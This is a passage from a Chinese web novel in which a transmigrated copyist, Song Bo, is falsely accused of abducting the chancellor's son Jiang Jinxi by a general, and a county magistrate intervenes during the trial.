百书阁在传福镇内相当于一个地标一样的存在,江金熙随便问了两个人,就找着了百书阁。 江金熙刚跨入店内,就有店员迎了上来,热情地招呼他,问他想要买什么种类的书籍,“我们这儿什么书都有,种花、刺绣类的技巧书也是有的。” 江金熙礼貌地听店员推销完,说:“我是来找人的。” 店员也没因着江金熙不是来消费的而挂脸,依旧保持着热情地微笑,问:“您找谁呢?” “宋泊。”江金熙答。 “宋泊在三楼,您可以上三楼找他。”店员说。 江金熙说了句“谢谢”,便背着背篓上楼。 店内谁人不知这宋泊是下工第一名,每次一到下工的时辰,前一眼还能找着他,再后一眼人便消失不见了,大伙儿都说他家中有个美娇娘,今儿个一见,江金熙虽未曾言明他与宋泊的关系,但店员就是觉着他是宋泊的夫郎,原来宋泊家中不是有个美娇娘而是有个美娇郎。 江金熙边上楼边往边儿个瞅着,百书阁不愧是传福镇最大的书店,虽说规模比不上京城中的书城,但店中书柜众多,书的种类也多,足以当上传福镇书店的第一名。 三楼跟一、二楼有个明显的分割线,一走上三楼的台阶,周围就安静了下来,只有毛笔碰在纸页上的书写声。江金熙不自觉地放慢了步子,轻手轻脚地上了楼。 抄书先生们都在低头奋写,江金熙一眼看见宋泊,他悄声挪到宋泊面前,等到一片阴影降在纸页上,宋泊才发现面前站了人,他抬起头,看清来人以后他惊道:“你怎么来了?” “看看你有没有好好工作呢。”江金熙偷笑。 “我自然是有在好好上工的。”宋泊重新低下头,现下抄的这页还差十来个字就能抄完,他便叫江金熙在旁等一会儿。 “好。”江金熙乖巧应声,他看着宋泊认真工作的模样,只道自己喜欢的人当真是块金子,工作时散发出来的光芒亮得人睁不开眼来。 抄完这页纸,宋泊用压纸石将每张纸压好晾干,随后从小隔间中出来,领着江金熙下了楼。 三楼只有在正午吃午饭时会热闹一阵,其余时间都是安静得掉根针也听得清清楚楚。 “我带你看看店内的书,看中哪本咱们就买哪本。”宋泊说。 “这么财大气粗?”江金熙挑眉。 “你来了自然得财大气粗一回。”宋泊笑着道。 宋泊知道江金熙的兴趣所在,便带着他先去了医书放着的位置。 上次宋泊带回去的两本书他还未看透,现下到了这般“天堂”他也没有贪心着想再买书回去,书买太多反倒会分散他的注意力,不适合他精读,不过江金熙还是很高兴,宋泊一直念着他的喜好。 两人逛了会儿后,到了一楼供人歇息的地方坐下,江金熙才把他此行的来意说了出来,“宋泊!家中的草药发芽了!” “真的?”宋泊很惊讶,毕竟他知道江金熙每天都会下田里去,应当是十分在意田里的草药种子,现如今终于发了芽,也是没有辜负江金熙的期待。 “真的!”江金熙只恨自己不会作画,不然就能将草药苗子发芽的样子画给宋泊瞧瞧。 “等会儿下了工,我定然第一个奔回家去,瞧瞧咱们江医师的种子发芽成什么模样了。”宋泊说。 传达好消息最需要的就是听者给的反馈,宋泊的反馈让江金熙及其受用,他也便趁着这个时候,试探地说出心里的担心,“你会不会觉着我就为了这事来找你有些突然?” “突然?”宋泊不知这话从何说起。 世间常有那些姑娘、哥儿心血来潮找自家夫君想给个惊喜最后却变成惊吓的糊涂事儿,以至于很多男子都不愿意自家媳妇和夫郎到他们工作的地方找他们。 “我突然来,会不会碍着你的事儿?” “别说突然来了,你就是天天来,都不会碍着我。”宋泊直言道:“你想来找我便来找我,没有理由也能来找我,你来非但不会碍着我的事,反而还会让我还高兴呢。” “嗯?”江金熙歪头。 “世人爱美,美人就在我面前,我自心情愉悦。”宋泊身子一横,一只胳膊横着放在桌子上,看着江金熙说。 这情话说来就来,江金熙哪儿遭得住,他转过脑袋躲着宋泊的视线,“就你吃了蜜了。” “来,让让让让。” “往边上靠往边上靠。” “不让路被马踩死了,我们可不负责。” 外头忽然吵闹起来,宋泊和江金熙正坐在窗户边,正好能第一视角看着外头的热闹。 外头街上几匹高大骏马上驮着人,为首人将头发利落地束起,双眉如剑,目光坚毅地盯着前头,身上带着股肃杀之势,一瞧便知他是个从死人堆里爬出来的人。 前头人骑着马,后头还有人带着轿子,整个轿子身都由金色暗纹丝绸包裹,上头还镶有宝石、黄金,显示出这轿子的富贵。 “这谁啊,好大的派头。” “不知道啊。” “不是哪个达官贵人的军队吧。” 周围百姓议论纷纷,都在讨论这马队的来历。 江金熙看着为首人的时候,瞳孔猛地一震,接着他身子一斜,躲在窗框后头,生怕外头人注意到他这侧。 见江金熙这副反应,宋泊大抵能猜着外头人是谁。 原著中能有这般气势的人,除了叶单越,宋泊想不着第二人选。只是按着原著的走向,叶单越不应该在下半年才出现吗?怎么这才过了个春,他就找到这儿来了。 难道是他的到来改变了剧情的走向? 还有江金熙这副老鼠遇着猫的样子,叶单越来接他了,他该高兴才是,怎的都快把自己变成张饼挤在窗户边儿了。 不过他不能直接问江金熙,只能跟寻常百姓一般,探着脑袋看热闹。 这支队伍属实是阵势壮大,传福镇的人哪儿见过这般阵势,等队伍都走老远了,他们还聚在一起议论。 江金熙的心一直悬着,叶单越前进的方向是近里村的方向,叶单越来找他了。 第53章 第五十三章宋泊有罪。 叶单越大抵是来带他回京城的,回家的日子终于盼着,江金熙却怎么也开心不起来。 宋泊收回望往窗外的视线,闲聊八卦的百姓都散了去,街上恢复了正常的吵闹。宋泊没急着与江金熙搭话,他现在心里应当挺乱的,要给他些时间缓和缓和。 正巧,午时到了,百书阁的午饭时间到,宋泊便领着江金熙上楼,借着吃饭这个时间刚好让江金熙缓缓。 刚刚叶单越过去的阵仗太大,就算在楼上抄书的抄书先生也有耳闻,不少人搁了活扒在窗外看了一阵,现下吃起午饭,聊的都与叶单越有关。 “那马好像是北方的汗血宝马,一般人骑不了的。” “这么厉害?北方的大人物怎的会到我们这儿来?” “是呀,那阵势真是吓死人了,旁儿个都没人敢上去碍事。” 大伙儿聊得热闹,宋泊顺道也听着些,不管消息是真是假,多了解一些叶单越总是好的。 余光撇着江金熙只吃白米没吃菜,宋泊夹了些菜进江金熙的碗里,“别光吃白米,吃些菜。” 江金熙想着事儿,被宋泊的声儿拉回饭桌,“好。” 吃完午饭,江金熙就背着小背篓返程。 宋泊将江金熙送至镇门口,见着他坐上牛车慢慢离开,宋泊心底漫上一股说不上的滋味。 剧本发生改变,叶单越来了,他和江金熙朝夕相处的日子到头了。 牛车一个拐弯,江金熙的身影消失在宋泊的面前,宋泊盯着那片空,久久没有回神,呆站了半炷香的时间,还是有送货之人说他挡着路了,他才反应过来,收回眼神往百书阁而去。 江金熙坐着牛车刚到近里村村口,就见宋灵铃站在一棵树下打转,见他来了,她赶紧提起裙摆跑了过来,拦住牛车。 驾车人一拉辔头,牛停了下来。 宋灵铃跑到车厢处,扒着车厢边,着急忙慌地说着:“你怎么回来了!” 江金熙问:“我怎么不能回来?” “哎呀。”宋灵铃急得跺了下脚,“你们家是不是惹事了,有一队看着不很不好惹的人去了你家,把我爹也叫去了。”话音落下她看了看四周,见周围没有其他人,她道:“要不你跑吧,别回家了。” 叶单越果然是朝近里村来了。 江金熙轻拍着宋灵铃的肩膀,示意她冷静下来,他道:“我们没惹事,那队人我认识,没事的。” “怎么没事呀!”宋灵铃说:“我爹对他们都得鞠躬哈腰的,你落进去不就是羊入虎口了吗?” 宋灵铃显然是急得有些失去理智了,把江金熙说他认识他们的这句话给略了过去。 江金熙两手按住宋灵铃的肩膀,唤道:“灵铃。” 被江金熙按着,宋灵铃终于停住慌乱的步伐,她静下心来回看江金熙。 “我认识他们,我和宋泊都会没事的。”江金熙一字一句说得缓慢,宋灵铃也听得认真。 闻言宋灵铃腿一软直接坐在地上,因为刚刚太过害怕,现下被江金熙一安慰,眼眶一热,眼泪再也控制不住落了下来,她一边擦泪一边说着:“我真害怕你们出了什么事。”江金熙长得漂亮,人又很好,宋灵铃是打心底里喜欢他,半刻钟以前他爹被人喊了出去,她跟在后头发现那些人停在宋泊家时,心中顿时慌了,才会选择守在村门口通风报信。 江金熙从车厢上下来,扶着宋灵铃的手臂将她从地上扶了起来,还帮她拍了裙子上的灰,“姑娘家家的怎么能坐在地上哭呢。”他从怀里拿出手巾,给宋灵铃擦泪,“谢谢你来告知我,不哭了哦。” 宋灵铃吸了吸鼻涕,点头,“嗯,我不哭了。” 江金熙付了钱让牛车师傅先走,而后他先把宋灵铃送回家,他才深吸了口气,往家里的方向走去。 该面对的总要面对,他能躲一阵还能躲一世吗? 大老远的,江金熙就看着家门外拴着六匹马,外头没有人在,但是院子里一直有人说话的声音,对话人的声音他很熟悉,叶单越在和宋里正说话。 “叶将军,我是真的不知道江公子是被拐卖来的,不然我早将宋泊抓了起来。” “宋里正,这就是你失职了。” “将军说得对,我确是失职,等宋泊回来,我定好好查上一查。” “宋泊没有拐卖,宋里正也没有失职。”江金熙往院子里一跨,边说边往里头走。 叶单越自作主张地搬了把木椅子出来,整院子里的人只有他坐着,宋里正都一把年纪了,双手拘谨地放在身前,站在叶单越的身边说着话,卑微得不行。 叶单越身后一个最年轻的哥儿快步走了上来,拉住江金熙的双手,“公子!” 叶单越也从椅子上站起,“阿熙,你真的在这儿。” “青桥,你怎么来了。”江金熙却是没想到,贴身伺候自己的青桥也会出现在这儿,毕竟从京城到近里村,骑马也得花上半个月的时间,青桥最晕马车,却还能跟着叶单越的马队来到这儿。 “公子。”青桥泪眼婆娑地瞧着江金熙,眼底满是心疼,“你瘦了好多。” 前头手巾给了宋灵铃,这下青桥也哭,江金熙只能用袖子替他擦泪,“不哭,我没瘦呢,肯定是你看错了。” “阿熙,你在这吃了不少苦吧。”叶单越说。 青桥松了手,撤到一边儿,刚刚自己心底着急,现在冷静了些,不好打扰主子们相认。 叶单越抬手就要帮着江金熙把身上的小背篓拿下来,却被他悄然闪过。 “叶哥哥。”江金熙看向叶单越。自叶单越去北域以后,他便再未瞧着他,一年多没见,叶单越的个子高了,皮肤黑了,眼睛自带威严,下颚线锐利,整个人都透着冷峻的气息。 叶单越也是许久未见江金熙,江金熙比他记忆中高了却瘦了,脸张开了,越发漂亮了,想着江金熙在这穷酸的村子里生活了半年,叶单越心底就是一股怒火,他一直宝贝着的江金熙被人陷害送到这儿吃了不少苦,“我定要抓着那宋泊,将他的头挂在村口示众。” “此事与他无关,他不是罪人,你不能将他砍头!”江金熙回道。 叶单越是什么性子江金熙一清二楚,他认定的事儿说一不二,可此事关于宋泊,江金熙断然是不会让步的。 听着江金熙维护那个罪人,叶单越心底像有口气憋着上不去下不来,以致他怒火更甚,语气越发冰冷,“阿熙,他是不是罪人不是由你来决定的。” “怎的不是?”江金熙硬气回道:“你要安在他身上的罪名我大抵猜的着,只要我一口咬定不是,什么罪名都无法成立。” “江金熙!”叶单越叫了江金熙的全名,他一把拍着刚刚坐过的木椅子,木椅子从中裂开,散了架。 宋里正往边上小挪了一步,怕被椅子渣给溅着。 江金熙没有回话,只是安静地看着叶单越,别人或许会怕叶单越,但他不怕。 “那宋泊定是给你下了迷魂药,罪加一等。”叶单越说。 “无罪罪加一等也是无罪。”江金熙说。 叶单越深吸了口气,看着面前倔强的江金熙,道:“我有的是法子让他有罪。” “那我便有法子让他无罪。”江金熙微抬下巴,坚定地看着叶单越。 两人的重逢以不开心作为开始。 叶单越的手下又帮他抬了把椅子出来,叶单越大马金刀往上一座,没再说话。 江金熙也难得理他,十几岁的人了,还不懂尊老爱幼,他正打算帮宋里正搬把椅子坐着,青桥便抢了他的活儿,“公子我来。” 江金熙又将身上的小背篓拿下来,青桥又道:“公子我来。” 半年来没被伺候过的江金熙忽然被人伺候了还有些不习惯。 从厨房里走出来个男子,看着像是叶单越的手下,他到叶单越耳边说了句话,叶单越道:“青桥,带你家公子去洗个澡,把身上的衣服换了。”叶单越瞧着江金熙身上的衣服怎么看怎么不顺眼,京城里的宝石被裹了个破布,怎么着都不合适。 “公子,走吧。”青桥抬着手领江金熙往浴房内去。 江金熙顺着叶单越的心意,进了浴房,以往他心疼宋泊烧水、抬水费劲,洗澡都是草草洗过,现下有白送的苦力,他不洗白不洗。 许久未泡在水中沐浴,江金熙坐入水中时发出了声舒服的叹息声。 “公子,我帮你洗头。”青桥坐在江金熙身后,他小心将江金熙的秀发顺下来,沾上水,拿着从京城带来的沐膏,往秀发上摸了些,香气顿时飘散开来。 江金熙闭着眼,唤了声青桥。 “公子。”青桥应道。 “爹爹和娘亲还好吗?”江金熙问。 “老爷和夫人还好。”青桥答,“只是夫人总会半夜来您房间待上一会儿。” 爹爹毕竟是丞相,家中事儿不好声张,娘亲作为丞相夫人,自然也不能表现出柔弱的一面,听青桥这么说,江金熙顿生心疼,娘亲到他房间去,定然是想他得紧。他也是不孝,都这么大了还惹爹爹娘亲担心。 第54章 第五十四章跪下。 江金熙洗了个舒服的温水澡,拿着浴巾细细擦着身子,青桥和叶单越都是一副他受了苦的模样,莫不是他真的比之前黑了很多?这般想着江金熙看了看自己的身子,他的两只手确实黑了些,不过身子因着藏在衣服里没晒着阳光,依旧白皙。 “公子,您要穿鹅黄色的衣裳还是淡青色的衣裳?”青桥从京城拿了不少江金熙的衣服来,这许久未见着自家公子,他也不知道公子最近的喜好有没有改变。 江金熙捂着浴巾转身,青桥正一手领着一套衣服展示给他看。那两套衣服都很眼熟,确实是他在京城穿过的衣裳。 “两件我都不穿,去拿我的棉衣来。”江金熙说。 在乡村穿裙装,不要干活了? “这”青桥面露难色。 江金熙知道他在为难什么,无非就是他不穿上裙装违了叶单越的意。 江金熙面色一凝,声音也低了几分,虽然依旧声如清泉,却也冷了几度,“青桥,你是谁的侍者?” 青桥想也未想,急道:“自然是您的!”青桥是家生子,自小便陪着江金熙伺候他,他在心底早已把江金熙当做自己这辈子追随的主子。 “那便听我的话,拿棉衣来。”江金熙说。 “是。”青桥微微屈身,先将两套衣裳搁在一旁的架子上,转身便出了门,听着江金熙的嘱咐到了卧房,一打开衣柜,里头衣物分着两侧,左侧的衣服堆都是大衣裳而且颜色稍暗,右侧的衣裳尺寸小点儿,颜色也比左侧丰富。 公子的衣柜怎会有他人的衣裳,青桥如此想着从右侧捞了套棉衣出来,公子还在浴房里等着,他可不能动作慢了再让公子冻着。 还是熟悉的棉衣穿在身上合适,村里要下地干活的哥儿、女子穿得全是裤装,飘飘然的裙子好看是好看,但在乡村中却是不实用。 果不其然,叶单越看着江金熙身上还穿着棉衣,马上就找上了青桥,“怎么还让你家公子穿这种破衣。”叶单越养尊处优惯了,周围圈子里的人也都穿着华衣绸服,这种廉价的棉衣连当他擦鞋布的资格都没有。 青桥刚要说话,江金熙就往前一步,挡在他的身前,“我不能穿自己喜欢的衣裳了吗?” “我自然不是这个意思。”叶单越说:“可这棉衣哪儿配得上你的身份,还是换上青桥给你带的衣裳吧,合适些。” “叶哥哥你不必再说了,我想穿什么便穿什么。”江金熙答。 叶单越坐在院子中的椅子上,看着忙里忙外的江金熙甚是不理解,以往香香软软可可爱爱追在他身后喊叶哥哥的人,怎的来了趟村子跟变了个人似的,说话硬气就算了,还有了自己的脾气,敢跟他对着干了。 “金熙!家里发生什么事了!”宋茶栽刚看诊回来,就看着宋泊家门口停着的马匹,这马匹可不是寻常人能骑的马,家里定是出事了。 宋茶栽刚跨入院子,才发现院子里好多人,十来个人往院子里一站,把本就不大的院子挤得更小了些。 “大姑。”江金熙迎了上去,帮宋茶栽把诊盒先收好。 宋茶栽拉着江金熙的手,里外里瞧了瞧,见江金熙没有显眼的外伤,她才稍稍松了口气,“你有没有受伤?这些人又是什么人?” 江金熙摇了摇头,“大姑我没事,至于这些人说来话长,等晚上宋泊回来了我一道儿说吧。” 宋茶栽拍着江金熙的手臂,说道:“没事就好。”这院内待着的人除了宋里正,其他人她都不认识,但那些人的面向都带着“凶”字,宋茶栽怕江金熙被欺负了去,便一直守在他身旁。 日光由黄变橙,渐渐西斜,宋泊迎着夕阳,比以往早了半个时辰回家。 因着叶单越来了,宋泊在百书阁抄书都心不在焉的,以往从未写过错字的他,今天一下午就写了十来个错字,拉低抄书效率不说,还浪费了纸,他深知自己这种状态不适合再工作下去,便请了个早退的假,不过午时末,在江金熙走后没多久就下了工。 走进自家院子,宋泊一眼便瞧着坐在院子中央的叶单越,叶单越不愧为原著中的主角攻,外貌条件不差的前提下,身上散发出来的气质也与众不同。 宋泊本来是想着与叶单越好好相处以躲过被砍*头的命运,但第一眼瞧着叶单越,他就知道他俩气场不和,好好相处是不可能的。 叶单越从位子上站起来,走到宋泊面前,“你就是宋泊?” 宋泊与叶单越的个子相差无几,只是因着叶单越常年行军,所以体型比他大些,“正是。” “拿下。”叶单越抬手一挥,他身后的手下立即行动起来,一左一右看着就要把宋泊当罪人押。 宋茶栽说:“你们干什么!” 江金熙直接两步挡在宋泊面前,他看着那些士兵,道:“谁敢?” 江金熙的身份毕竟摆在那儿,士兵们也不好越过江金熙下手,若是在推搡过程中伤着江金熙了,那他们的命是完全不够用的。 “阿熙,你到边上去。”叶单越说。 宋泊看着站与自己身前的江金熙,心中五味杂陈,一方面他感动于江金熙竟会为了他而对抗叶单越,而另一方面他又对自己的弱小感到无力。 古代的阶层性就是如此,只要做了官,便是人上人,对付些平头百姓那是轻而易举。 “我看谁敢?”江金熙往后退了两步,与宋泊的距离极近。 “阿熙你真要如此?”叶单越说,这话里威胁意味甚重。 江金熙没有回话,只是依旧挡在宋泊面前。 叶单越背过身,说:“把江公子拉开,责任我担。” 有了叶单越这句话,士兵们下起手来便利落了许多,两人将江金熙拉开以后,另外两人把宋泊一押,一人往宋泊的膝盖上踹上一脚,宋泊就算想支棱,也只能顺着力儿倒下。 膝盖碰着地板的时候,宋泊心底顿生一股屈辱感,尤其是因着在江金熙面前,这股屈辱感更甚。 “叶单越你做什么!”江金熙喊着。 “你们是谁啊!强闯民宅还随意押人,我要告你们去!”宋茶栽没被人控制,她跑到宋泊面前,妄想以自己的力量把宋泊从那两个士兵的手中揪出来。 叶单越一抬手,又是两人控制住宋茶栽。 宋里正说:“宋大夫你少说两句吧,他是玄甲将军也将军。” “将军了不起了?”宋茶栽高声喊着,“以为近里村离京城远可以胡作非为了?!” 叶单越看了宋茶栽身后的士兵一眼,那士兵立即堵住宋茶栽的嘴,宋茶栽所有的话只剩下“呜呜呜”的声。 “你有什么事冲我来,放了金熙和大姑。”宋泊仰着头,怒瞪着叶单越。 本来他对叶单越的印象只停留在原著的文字之中,现在见了此人,确是觉着这人不是江金熙的良配,这人带着古代上位者的恶臭,视人命如草芥,连青梅竹马的江金熙他都能狠下心动手,这江金熙嫁了过去还能有好日子? 什么原著剧情,单是叶单越提前半年到了近里村,这剧情就已经崩了。 宋泊的咸鱼梦从此刻化为了泡影,与叶单越抗衡,以平民的身份是万万不够的,想护着江金熙,他就得当官。 不过要想当官,还得先把眼前这劫渡了。 “我确是冲你来的。”叶单越瞳孔往下,这种俯视的视角让宋泊觉着自己的尊严正被按在地上磨擦。 “拐卖京中贵族之子,一个脑袋恐怕不够用呐。”叶单越说。 “叶将军的官位再大,也不能只手遮天揽了不属于自己的活儿吧?”宋泊回道:“且押我上县衙,看看县令如何定我的罪呢?” 宋里正站在一旁听着宋泊与叶单越呛声,吓得满头大汗,他怎么没看出来这宋泊的胆子有这般大,面前已经站了“老虎”却还硬着脊梁骨。 “一个村中野夫,口气还挺大。”叶单越冷笑一声,“你说我要是直接杀了你,谁又能定我的罪呢?” “叶单越!”江金熙听到这话,心底咯噔一声。 恒国的官官相护他不是没听过,叶单越若真的在这儿下了狠手把宋泊杀了,他就算要为宋泊出头,也得等回了京城。 “叶将军,许久未见,当真是越发意气风发了。”忽然,一个声音由远及近,林武玉从马车上下来,两手握在袖子中,漫步走进院子里。 叶单越看着林武玉越走越近,他道:“林武玉,原来你是被贬到了这儿。” “怎么叶将军来了霞县,怎么不先去我那儿坐坐,倒先来了这村里呢?”林武玉笑着说道。 “这儿没你什么事,别来插一脚。”叶单越说。 “诶,此言差矣。”林武玉面色未改,依旧带着轻微的笑意,“县令做的就是断案的活儿,我看叶将军好像有个案子要断,不如交与我手呢?” “不必。”叶单越拒绝道。 林武玉迎上叶单越的目光,从衣袖里拿出个卷着的卷轴,缓缓说道:“那我可是为了难,老师写了信来,说要我亲自断这案呢?” 第55章 第五十五章想通。 “爹爹当真写了信来,让您亲自断案吗?”躲在林武玉安排的房间里,江金熙小声地与林武玉问着。 “当然没有。”林武玉把刚刚在村中展示的卷轴拿出来,卷轴一拉开,里头空白一片一个字也没有。也是以往他清官的形象深入人心,才让叶单越觉着他不会唬人,没有上前检查这卷轴,而让他躲过一次。“多亏宋公子及时找了我,不然以叶单越的性子,没准真会下手。” 江金熙卷起宋泊的裤脚,他的膝盖处已经青了一片,江金熙满眼心疼,用手挖了点儿药膏,轻轻摸在淤青处,问道:“宋泊,你什么时候找的林县令?” “今日下午。”宋泊答。 从百书阁下工以后他不是立即回村的,而是雇了匹马车,以最快的速度去了趟霞县,找林武玉。 林武玉算是他的一次豪赌,还好,他赌对了,林武玉确实认识江金熙,是江金熙父亲这边阵营的人。 因着宋泊并不了解叶单越,而当得上将军的人多少有些心狠手辣,他便以林武玉为后手,护自己一护。林武玉虽然是被贬官至此,但因着他是从京城被贬,身上的关系复杂,所以叶单越多少会看着他的面子,不敢胡作非为。 “那叶单越也太过分了,回去我要跟爹爹说。”江金熙一边为宋泊揉着淤青,一边愤愤不平。 听着江金熙的话,宋泊越发觉着古代的官权的威力,就连江金熙想与叶单越抗衡,都得回去请他的爹爹。 对了,他爹爹是什么身份,竟能制衡住叶单越。 借此宋泊正好问出这个问题,“金熙,你究竟是什么身份?” 闻言江金熙手上动作一顿,他没有马上回答,应当是在想着如何回话。 现如今再瞒着宋泊已经说不过去了,但江金熙又怕把自己身份说出来以后会吓着宋泊。 “江公子,你便说吧。”林武玉见江金熙犹豫的模样,在后头推了他一把。虽说他只与宋泊接触过三回,但他总觉着宋泊不是简单的普通百姓,他说话条理清晰,举止投足之间亦有一股文人之味。 江金熙看了林武玉一眼,而后深吸了口气,又挖了一指尖的药膏,触在宋泊的另一条腿膝盖上,“其实我是恒国丞相江丞相之子。”? ??? 江丞相之子! 宋泊的瞳孔微微一震,但面上还是经历保持着冷静的样儿,莫不是他哪儿看岔了?他以为江金熙只是京中贵族之子,却没想到这贵族直接贵到江丞相的身上。 江丞相的官位之高,整个恒国除了皇帝,恐怕再无人能与他抗衡。 宋泊久久未说话,江金熙心里头七上八下的。 知晓江金熙就是自己老师的哥儿以后,林武玉总想多帮帮他,他道:“宋泊,你莫不是被吓着了?” 林武玉的声音将宋泊从思绪中拽了出来,他垂眸看着就算紧张也要为他上药的江金熙,心头一软说道:“是有一些,只不过我心中早已准备。” “噢?”林武玉语气上扬。 “金熙知识渊博又长得漂亮,我知他是金子的。”宋泊答。 没想着在这个时候还能听着夸奖的话,江金熙耳廓微微泛着红。 林武玉看着两人的模样,暗道这祸福相依总是有依据的,江金熙被陷害到了近里村,却喜欢上了宋泊,宋泊看着也不似无意,两人当是有缘分的。 只是这宋泊出身农户,老师恐怕不会轻易同意。 “金熙,来帮我一下。”外头传来宋茶栽的声儿,江金熙正好给宋泊抹完了药,听着宋茶栽喊他,他便盖上了药罐的盖子,应了一声出了房门。 屋内只剩下宋泊和林武玉两人,林武玉有意帮江金熙,就想着点宋泊几句,听闻他正在秦闻那儿当抄书先生,会写字的人多少有几分学识,以科举之路破出身之关,是最简单的方法了。 “江丞相喜才,喜的是国之栋梁,你既已与江公子成婚,自然要讨得他爹、娘的欢心” “我与金熙并未成婚。” “这讨欢心的法子”林武玉忽然一顿,“你与江金熙并未成婚?” 宋泊扯了下嘴角,露出一个不算笑的笑容,“说来不怕林县令笑,我与金熙没有任何关系,只是声称夫夫而已。” 只是表面夫夫? 林武玉觉着并非如此,当时江金熙被宋老二差点侵犯的事儿他还记在脑里,宋泊那着急的样儿,可是一点儿不像表面夫夫。 “我看不尽然吧?”林武玉说,他年纪比宋泊大,又是局外之人,看得自比宋泊清晰一些,“你对江公子无意?” “并非无意。”宋泊想也未想,直言道。相处半年有余,他早就喜欢上了江金熙,江金熙竟能不畏叶单越的强权挡在他身前,他怎么能不动心呢。 “并未无意为何畏首畏尾。”林武玉问。 “林县令。”宋泊想了想,还是问了出来,“本来结局已定的事儿,现下中间出了变故,这结局是否还是已定的呢?” 宋泊本来以为剧情是改变不了的,他只想躲过砍头的命运,不想涉及到主角受与主角攻的爱恨情仇之中,但事与愿违,江金熙实在太过美好,他忍不住想对他好、想保护他,现下叶单越提早半年来了,剧情已然发生了巨大变化,那么结局还会是原来的结局吗? 林武玉不明白宋泊不过一个十九岁的青年,为何会问出这般带着老气的问题。 不过这问题确实不好回答,林武玉思索一番,才答道:“何为结局?” “结局不就是结果吗?”宋泊说。 “不尽然。”林武玉说:“世间万物都有可能结果,而结局却得由人创造,要我说世间只有一个结果,那便是逝去,除此以外,任何结局都能更改。”林武玉看着宋泊说:“不过这只是我个人拙见。” 林武玉的话就像当头一击,直接把宋泊打清醒了来。他不是原著的炮灰攻就已经是变数了,变数变数为的就是改变,这一世是他白捡来的一世,何不按着自己的心走一遭,反正无论结局如何,他总归是赚到的。 这一劫若能渡过,他就要由心而走,追求江金熙。 “多谢林县令,您说的话令我受益良多。”宋泊双膝淤青暂且站不起来,只能坐与床上给林县令行了一礼。 见宋泊眼里都有了光,林武玉愉悦起来,虽不知自己哪句话点醒了他,但到底是帮了人。 多亏有林武玉在,叶单越才不敢太过放肆,一个将军官威再大,也不能一下对上林县令、宋里正,宋里正只是顺带的,主要还是看的林县令的面儿,林县令本人的面儿不够看,但他身后的面儿却足以让叶单越喝一壶的。 三日后,庭审开庭,叶单越就拐卖贵族之子之名将宋泊告上了案。 为了防止林武玉从中做手脚,叶单越还叫来了霞县再上一级菱州的杨知县来坐镇,这般有上一级看着,林武玉也只能秉公执法。 杨知县坐与林武玉的左侧,他捋着胡须,说:“开始吧。” 叶单越走着流程,按着诉状将宋泊的罪因罪名全都说了出来,清楚得像他才是江金熙。 “噢?拐卖京中贵族之子可是大罪。”杨知县道。 接着叶单越又将件件证据呈了上去,林武玉还未看着,杨知县就半路接着,“这些个血淋淋的证据可是你犯罪的证据!” “草民未做之事,自不是证据!”宋泊自然不会承认,他全是看出来了,叶单越花了三天时间找了人又伪造了证据,为的就是以正规途径置他于死地。 “哪个罪犯会承认自己的罪行呢?”杨知县道,换言之,罪犯的证言并不重要,只要有证据在手,便能判着罪。 “杨知县,这案子是由我来审,可否让我看过证据?”林武玉道。 杨知县看了叶单越一眼,而后乐呵呵笑着,“噢对对对,我在菱州判案判习惯了,不知不觉就将这活揽了去,真是糊涂了。” 衙役将叶单越准备的证据拿到林县令面上,若不是林县令早在几日前就知宋泊没干这拐卖人口的事儿,他还真有可能被这证据给唬了过去,给宋泊判上有罪。 “杨知县,您也知这拐卖罪与其它罪不同,这拐卖罪中最重要的一项证据便是被拐卖之人的证言,我觉着还是应当让江公子说说事情的经过。”林武玉说。 “都证据确凿了,还要江公子说什么呢?”杨知县斜睨着林武玉,“你莫不是要揭开江公子的伤疤?我看还是直接判了好,我等下还有别的事儿要做。” “杨知县,林县令。”江金熙也管不上判案中的规矩,他直直走到台下中央,跪了下去。 叶单越瞳孔一缩,抬了手想扶江金熙起来,却慢了宋泊一步。 “江公子你这是做什么。”林武玉赶紧叫衙役把江金熙扶起来,杨知县也是心中一震,帮叶单越可别把自己帮出了事。 “金熙你快起来。”宋泊扶着江金熙的手臂,就要将他扶起来。 可江金熙却对宋泊摇了摇头。 宋泊无法,既然江金熙不起来,那他便陪着他,他双腿一弯,在江金熙身旁一起跪下。 江金熙看了杨知县一眼,最终看向林武玉,他一字一句说得清清楚楚,整个堂内回荡着他的声音。 “宋泊未行拐卖之事,请林县令严查。” 第56章 第五十六章对不起 “江公子你这是作甚,快起来说话。”杨知县都慌了,这可是江丞相的宝贝哥儿,却在他面前下了跪,这要是传到京城去,他脑袋上的乌纱帽恐怕就得摘下来了。 江金熙偷偷瞄了林武玉一眼,林武玉接收着信号,趁热打铁,他故作苦恼道:“老师叫我判案子,可这案子的证据与江公子的口供不同,我当判哪边哪?”林武玉搓着手,看着杨知县,“杨知县,您可得给我指条明路。” 林武玉也是“狡猾”,将江丞相搬出来,杨知县就得掂量掂量,哪边得罪得起了。 指明路,这分明就是在给他指条死路,杨知县装着不经意之间看了叶单越好几眼,但叶单越的注意力都在江金熙身上,未曾顾及他,只能由他自己想办法。 杨知县脑子里疯转不停,江丞相离得远而叶单越可是就在堂下的“活阎王”,他还是试探地说着:“江公子你莫怕,我们会替你撑腰,你无需担忧你身旁的歹人会报复你。” “回杨知县,我并未受要挟,我所说的一字一句都发自内心。”江金熙坚定地看着杨知县,“若你不信,我可将我的供词写下画押,如此可行?” “这”杨知县为了难,这江金熙是铁了心要救宋泊。 “杨知县,不如咱们将着案子转到廷尉府吧。”林武玉说道:“这案子涉及贵族之子,送到廷尉府也算情理之中。”只要这案子被转到京城廷尉府中,宋泊大概率会无罪。 “不成。”叶单越在这时说了话。 林武玉的想法他何尝不知,京城中以江丞相的势力最大,江金熙说宋泊无罪,江丞相定然会依着自家哥儿的意思,力保宋泊,到时他想治宋泊罪的想法就会落空。 叶单越看着江金熙,他不明白江金熙为何会一直护着那个贫民,不止男儿膝下有黄金,哥儿和女子的膝下也有黄金,他却能为了那个贫民,直接在堂下跪下。大庭广众之下跪下,这有辱贵族世家的面儿,江金熙当真是学坏了,不再是出淤泥而不染的莲花了。 “叶将军你有何想说?”林武玉接上叶单越的话。 “既然江丞相要你断案,你自然得断出个结果来,把案子送上京城,江丞相交代你的事情你未做到不说,你的工作能力也会受着影响,到时能不能重回京城当官可就得考量一下了。”叶单越说。 宋泊也是佩服叶单越此人,这人并非四肢发达、头脑简单,等着开庭审案的这三日,他也未闲着,既找了杨知县,还派人调查了林武玉,或许不单是林武玉,他们宋家应当都被查了个透。 “宋泊此人有赌博的恶习,赌博人惯是有一张巧嘴,阿熙定是被他的花言巧语蛊惑了去,他的证言不作数。”叶单越再说。 